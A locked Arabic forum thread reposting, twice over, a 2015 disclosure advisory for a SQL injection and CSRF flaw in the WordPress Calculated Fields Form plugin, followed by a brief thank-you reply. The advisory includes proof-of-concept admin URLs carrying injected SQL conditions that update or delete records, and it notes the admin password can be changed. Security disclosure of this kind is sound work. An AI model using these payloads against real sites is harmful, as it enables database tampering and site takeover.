حالة الموضوع:
مغلق
  1. atheer raheem

    atheer raheem Developer

    الأنتساب:
    ‏29 يناير 2015
    المشاركات:
    174
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    18
    [PHP CODE]


    Full title WordPress Calculated Fields Form 1.0.10 SQL Injection Vulnerability
    Date add 03-03-2015
    Category web applications
    Platform php
    Risk
    Security Risk High


    Description:
    WordPress Calculated Fields Form plugin versions 1.0.10 and below suffer from a remote SQL injection vulnerability.
    [+] Calculated Fields Form Wordpress Plugin <= 1.0.10 - Remote SQL Injection Vulnerability
    [+] Author: Ibrahim Raafat
    [+] Twitter: https://twitter.com/RaafatSEC
    [+] Plugin: https://wordpress.org/plugins/calculated-fields-form/

    [+] TimeLine
    [-] Feb 6 2015, The vulnerabilities reported
    [-] Feb 7 2015, Response and Confirming the vulnerabilities
    [-] Feb 8 2015, First fixing released to version 1.0.11
    [-] Feb 17 2015, CSRF protection added to version 1.0.12
    [-] March 1 2015, Public Disclosure

    [+] Download: https://downloads.wordpress.org/plugin/calculated-fields-form.1.0.10.zip

    [+] Description:
    There are sql injection vulnerabilities in Calculated Fields Form Plugin
    which could allow the attacker to execute sql queries into database

    [+] Vulnerable Code: [Red]
    https://plugins.trac.wordpress.org/changeset/1084937/calculated-fields-form

    [+] POC:

    /wp-admin/options-general.php?page=cp_calculated_fields_form&u=2 and 1=1&name=InsertText
    /wp-admin/options-general.php?page=cp_calculated_fields_form&u=2 or 1=1&name=InsertText // Will update all
    /wp-admin/options-general.php?page=cp_calculated_fields_form&c=21 and 1=1
    /wp-admin/options-general.php?page=cp_calculated_fields_form&d=3 and 1=2 Delete

    These queries are execute without any csrf protection, The attacker can use this csrf vulnerability to execute queries in the sql by sending malicious page to the logged in admin

    [+] Impact: Attacker can use this vulnerabilities to update admin password

    [+] Recommendation: If you are using 1.0.12 or less, Upgrade the plugin ASAP
    [+] Calculated Fields Form Wordpress Plugin <= 1.0.10 - Remote SQL Injection Vulnerability
    [+] Author: Ibrahim Raafat
    [+] Twitter: https://twitter.com/RaafatSEC
    [+] Plugin: https://wordpress.org/plugins/calculated-fields-form/

    [+] TimeLine
    [-] Feb 6 2015, The vulnerabilities reported
    [-] Feb 7 2015, Response and Confirming the vulnerabilities
    [-] Feb 8 2015, First fixing released to version 1.0.11
    [-] Feb 17 2015, CSRF protection added to version 1.0.12
    [-] March 1 2015, Public Disclosure

    [+] Download: https://downloads.wordpress.org/plugin/calculated-fields-form.1.0.10.zip

    [+] Description:
    There are sql injection vulnerabilities in Calculated Fields Form Plugin
    which could allow the attacker to execute sql queries into database

    [+] Vulnerable Code: [Red]
    https://plugins.trac.wordpress.org/changeset/1084937/calculated-fields-form

    [+] POC:

    /wp-admin/options-general.php?page=cp_calculated_fields_form&u=2 and 1=1&name=InsertText
    /wp-admin/options-general.php?page=cp_calculated_fields_form&u=2 or 1=1&name=InsertText // Will update all
    /wp-admin/options-general.php?page=cp_calculated_fields_form&c=21 and 1=1
    /wp-admin/options-general.php?page=cp_calculated_fields_form&d=3 and 1=2 Delete

    These queries are execute without any csrf protection, The attacker can use this csrf vulnerability to execute queries in the sql by sending malicious page to the logged in admin

    [+] Impact: Attacker can use this vulnerabilities to update admin password

    [+] Recommendation: If you are using 1.0.12 or less, Upgrade the plugin ASAP
    [/PHP CODE]


    :ُ{a7}:ُ:ُ{a7}:ُ:ُ{a7}:ُ:ُ{a7}:ُ:ُ{a7}:ُ:ُ{a7}:ُ​
     
  2. al_98r

    al_98r Developer

    الأنتساب:
    ‏21 يوليو 2014
    المشاركات:
    112
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    16
    رد: WordPress Calculated Fields Form 1.0.10 SQL Injection Vulnerability

    يعطيك العافيه على الشرح
    ما قصرت
    كفيت ووفيت
    :ُae@:​
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة